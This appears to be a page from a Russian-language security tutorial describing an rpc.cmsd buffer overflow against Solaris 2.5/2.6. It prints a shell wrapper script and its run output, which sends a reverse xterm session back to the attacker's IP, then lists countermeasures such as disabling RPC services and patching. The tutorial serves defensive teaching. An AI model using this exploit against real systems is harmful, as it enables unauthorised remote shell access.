Иллюстрированный самоучитель по Secure Web

         

Как показано ниже, эту атаку



[rumble]* cmsd.sh quake
192.168.1.11 2 192.168.1.103

Executing exploit...

rtable_create worked

clnt__call[rtable_insert]: RPC:
Unable to receive; errno=Connection

reset

by peer

Как показано ниже, эту атаку позволяет упростить простой сценарий оболочки, в котором вызывается утилита cmsd. При этом необходимо знать имя удаленного узла. В рассматриваемом примере таким именем является quake. Кроме того, используется также IP-адрес этого узла, 192.168.1.11, а также тип системы (2), что эквивалентно системе Solaris 2.6. Эта информация оказывается чрезвычайно важной, поскольку утилита "приспосабливается" к каждой конкретной системе. И наконец, мы указали также IP-адрес компьютера взломщика (192 .168 .1.103) и установили обратный канал с использованием программы xterm (рис. 8.2).



Рис. 8.2. Окно xterm, появившееся в результате использования утилиты cmsd. Этого же результата можно достигнуть при использовании служб rpc. ttdbserverd или rpc. statd

#!/bin/sh

if [ $# -It 4 ]; then

echo "Rpc.cmsd buffer overflow for
Solaris 2.5 & 2.6 7"

echo "If rpcinfo -p target_ip 1grep
100068 = true - you win!"

echo "Don't forget to xhost+ the target system"

echo ""

echo "Usage: $0 target_hostname target_ip <
0/S version (1-7)> your_ip"

exit 1

fi

echo "Executing exploit..."

cmsd -h $1 -c "/usr/openwin/bin/xterm -display

$4:0.0 &" $3 $2

Контрмеры: защита служб RFC

Лучшим методом защиты от удаленных атак является отключение всех служб RPC, в использовании которых нет острой необходимости. Если же какая-то служба RPC очень важна для работы сервера, подумайте над установкой какого-либо устройства управления доступом, с помощью которого связь с необходимыми портами RPC можно было бы разрешить только строго определенным узлам. В некоторых случаях эта задача может оказаться весьма непростой. Подумайте также над включением режима, запрещающего выполнение стека, если такой режим поддерживается вашей операционной системой. Наконец. попробуйте использовать Secure RPC, если имеющаяся в вашем распоряжении версия UNIX поддерживает такие средства. Secure RPC обеспечивает дополнительный уровень аутентификации, основанной на шифровании по открытому ключу. Помните, что Secure RPC — это не панацея, поскольку многие разработчики UNIX не поддерживают этого протокола. Другими словами, при использовании протокола Secure RPC повышается безопасность, но под угрозой может оказаться взаимодействие. Наконец, убедитесь в том, что установлены все самые последние модули обновления, разработанные поставщиком используемой вами системы.

Содержание  Назад  Вперед